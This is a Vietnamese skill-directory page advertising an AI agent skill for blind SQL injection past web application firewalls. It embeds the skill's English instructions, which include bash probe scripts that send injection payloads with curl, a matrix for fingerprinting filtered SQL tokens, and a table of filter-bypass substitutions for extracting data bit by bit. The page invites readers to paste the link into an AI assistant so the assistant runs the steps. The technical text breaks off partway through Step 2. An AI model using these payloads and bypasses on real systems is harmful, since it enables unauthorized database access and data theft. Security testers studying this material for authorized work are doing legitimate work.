Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14050

blind-sqli

Skill này làm gì

Hướng dẫn này nói về kiểm thử thủ công blind SQL injection, khi ứng dụng chỉ trả về phản hồi đúng hoặc sai. Dành cho người kiểm thử cần vượt qua tường lửa ứng dụng web trong một bài kiểm thử được ủy quyền.

Khi nào nên dùng

  • ✓Khi một bài kiểm thử được ủy quyền có sự khác biệt rõ ràng giữa phản hồi đúng và sai, và công cụ thông thường bị chặn.
  • ✓Khi tường lửa web lọc các từ khóa SQL phổ biến và sqlmap không vượt qua được.
  • ✓Khi bạn cần cách làm từng bước để xác nhận blind injection với ít yêu cầu nhất.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bài kiểm thử được ủy quyền của chúng tôi cho thấy sự khác biệt giữa phản hồi đúng và sai, nhưng tường lửa chặn các công cụ thông thường. Bạn có thể giúp tôi xác nhận injection không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent trước hết xác nhận tín hiệu đúng và sai đáng tin cậy, sau đó kiểm tra các từ khóa nào bị lọc và xây dựng các kiểm tra đơn giản hơn mà tường lửa không chặn.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Blind SQL Injection — Manual WAF Bypass

Companion to sqli.md. Load this only after you have:

  1. Confirmed a stable binary oracle (two distinct page states: "User exists" vs "No results", different content lengths, or different HTTP codes).
  2. Confirmed sqlmap with --tamper cannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.

If both conditions hold, the goal is to hand-craft a payload that substitutes every filtered SQL token until each oracle probe returns a clean true/false signal, then extract the flag bit-by-bit with the smallest possible request count.

Confirm the oracle first (≤2 minutes)

The whole playbook collapses if your "true" and "false" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:

probe() {
  local label="$1"; local payload="$2"
  local resp
  resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \
    --data-urlencode "username=${payload}")
  echo "$resp" \
    | grep -oE "User exists[^<]*|No results|some item is filtered|Error|Welcome" \
    | head -1
}

probe "true probe"  "x\"||1=1#"     # expect: User exists
probe "false probe" "x\"||1=2#"     # expect: No results
probe "filter probe" "x\"||SLEEP(0)#"  # expect: filtered (token banned)

A single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but bash's time resolution and HTTP jitter make a content oracle 5-10× more reliable.

Step 1 — WAF token fingerprint (batched probe script)

Test 10-15 candidate tokens in one script, log each as a labelled line. One script run beats 15 sequential bash calls (saves ~70% of the round-trip cost).

cat > /tmp/probe.sh <<'EOF'
#!/usr/bin/env bash
set -u
TARGET="${TARGET:?set TARGET=host:port}"
ENDPOINT="${ENDPOINT:-/search.php}"
PARAM="${PARAM:-username}"
INJ="${INJ:-x\"||{PAYLOAD}#}"     # outer template; {PAYLOAD} is replaced

probe() {
  local label="$1"; local payload="$2"
  local body="${INJ/'{PAYLOAD}'/$payload}"
  local resp
  resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
    --data-urlencode "$PARAM=$body")
  local sig
  sig=$(echo "$resp" | grep -oE "User exists[^<]*|No results|filtered|some item[^<]*|Error" | head -1)
  printf "%-40s | %s\n" "$label" "${sig:-???}"
}

# === SQL token sniff matrix ===
probe "1=1 baseline true"              "1=1"
probe "1=2 baseline false"             "1=2"
probe "WHERE clause"                   "EXISTS(SELECT 1 FROM users WHERE 1=1)"
probe "AND keyword"                    "1=1 AND 1=1"
probe "&& operator"                    "1=1 && 1=1"
probe "OR keyword"                     "1=0 OR 1=1"
probe "|| operator"                    "1=0 || 1=1"
probe "IF function"                    "IF(1=1,1,0)"
probe "CASE WHEN"                      "(CASE WHEN 1=1 THEN 1 ELSE 0 END)"
probe "SUBSTRING(str,1,1)"             "SUBSTRING('abc',1,1)='a'"
probe "MID(str,1,1)"                   "MID('abc',1,1)='a'"
probe "ASCII(c)"                       "ASCII('a')=97"
probe "ORD(c)"                         "ORD('a')=97"
probe "GROUP_CONCAT()"                 "GROUP_CONCAT('a','b')='ab'"
probe "single-quote 'a'"               "'a'='a'"
probe "double-quote \"a\""             "\"a\"=\"a\""
probe "hex 0x61"                       "0x61='a'"
probe "arithmetic boolean"             "(1=1)*(1=1)=1"
EOF
chmod +x /tmp/probe.sh
TARGET=host.docker.internal:8080 /tmp/probe.sh | tee /tmp/probe.out

Every line that returns ??? (no matching signature) or filtered is a banned token. Every line that flips the oracle correctly (User exists for the true rows, No results for the false rows) is a usable primitive.

Common WAF substitution map (the bench-tested replacements that have worked across multiple targets):

Filtered token Substitute that survives
SUBSTRING(s,i,n) MID(s,i,n)
IF(c,t,f) (CASE WHEN c THEN t ELSE f END) or arithmetic (see below)
AND &&
OR ||
WHERE JOIN ... ON subquery, or move predicate into SUM((c1)*(c2))
'literal' 0x6c6974657261 (hex) or CHAR(108,105,116,...)
GROUP_CONCAT(IF(c,t,0)) SUM((c)*ASCII(...)) per position

Step 2 — boolean evaluation without IF/WHERE/AND

When the WAF strips IF, AND, WHERE together, the cleanest replacement is arithmetic multiplication of booleans. MySQL treats (comparison) as an integer

Câu hỏi thường gặp

Binary oracle là gì?

Đó là mẫu phản hồi khác biệt rõ ràng giữa câu hỏi đúng và sai, và hướng dẫn yêu cầu có mẫu này trước khi kiểm thử.

Khi nào nên dùng sqlmap thay thế?

Hướng dẫn khuyên dùng sqlmap trước khi nó có thể vượt qua tường lửa, vì cách này chậm hơn.

Vì sao phải kiểm tra tín hiệu trước?

Hướng dẫn cho biết cách này sẽ thất bại nếu không phân biệt được phản hồi đúng và sai.

Chi tiết

Mô tả gốc của tác giả

Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14050
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự